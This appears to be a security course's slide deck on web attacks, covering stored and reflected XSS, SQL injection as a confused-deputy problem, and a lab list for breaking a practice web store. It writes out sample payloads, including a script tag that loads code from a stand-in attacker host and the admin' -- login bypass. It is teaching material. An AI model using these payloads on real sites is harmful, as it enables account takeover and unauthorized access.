INTLPOL 268: Hack Lab
Week 4 · Part 2
Web Applications
Week 4 · Part 2
What will we learn today?
Today, we will…
- Use a web app to run code in somebody else’s browser
- Inject commands that the web app runs for us
- Work out where, exactly, each bad thing happens
Recap
Three big types of web app attacks
Asking the app to do what you want.
Change what the browser sends — a number, a cookie, a hidden field — and see whether the server checks.
Last week · IDORUsing the web app to get code running in somebody else’s browser.
Cross-site scripting: your input becomes part of a page another person loads.
TodayInjecting commands to be run directly by the web app.
SQL injection: your input becomes part of a command the server runs on your behalf.
TodayPart one
JavaScript confusion
Cross-site scripting
Imagine a simple social network
Alex says: Hi, Sally!
<!DOCTYPE html> <html> <body> <b>Alex says:</b>Hi, Sally! </body> </html>
Cross-site scripting
Imagine a simple XSS attack
Alex says:
<!DOCTYPE html> <html> <body> <b>Alex says:</b><script>alert("You got hacked!"); </script> </body> </html>
Stored XSS
What happened?
This is called stored Cross-Site Scripting, or stored XSS.
- Alex sent a message containing JavaScript.
- The social app combined that message with the rest of the page.
- The web browser can’t tell what is legit and what isn’t — it all looks like HTML from the server.
Reflected XSS
A very simple search
I couldn’t find anything about (and quietly loads bad.js)
<!DOCTYPE html> <html> <body> I couldn’t find anything about <script src=https://badguy.example/bad.js></script> ...
A question
Wait, doesn’t that only hurt the person sending the request?
Reflected XSS · the trick
Nope
Part two · another class of attacks
Injection, aka the Confused Deputy
Injection
The confused deputy
A program that has authority you don’t, tricked into using that authority for you.
- You can’t talk to the database. The web server can.
- The web server builds a database command and pastes your words into it.
- The database can’t tell which words were the server’s and which were yours. It just runs the command.
- Same shape every time: SQL, shell commands, file paths, LDAP, and — next week — prompts to an AI model.
Hardy, N. (1988). The confused deputy (or why capabilities might have been invented). ACM SIGOPS Operating Systems Review, 22(4), 36–38.
SQL injection · the Store’s admin login
The classic SQL injection example
What the server meant · username=admin & password=pass1234
What the attacker typed as a username · admin' --
The quote ' closes the string the server opened. -- starts a SQL comment, so everything after it — including the password check — is ignored. The database finds admin and says yes.
Part three · review
Where does the bad action happen?
Review · the pieces
A simple website + Burp
Review · 01
IDOR
Review · 02
Reflected XSS
Review · 02
Stored XSS
Review · 03
SQL injection
Hands on · Lab 4: Breaking a Web Store
Lab
- Insecure direct object references: whose profile is this?
- The price is right — or is it?
- Reflected cross-site scripting: when a search comes back as code
- Stored cross-site scripting: a comment that waits for its reader
- SQL injection: changing the meaning of the login query
- A second reader: stored input in the support workflow
Lab instructions and your assigned systems are in the course console: console.hacklab.info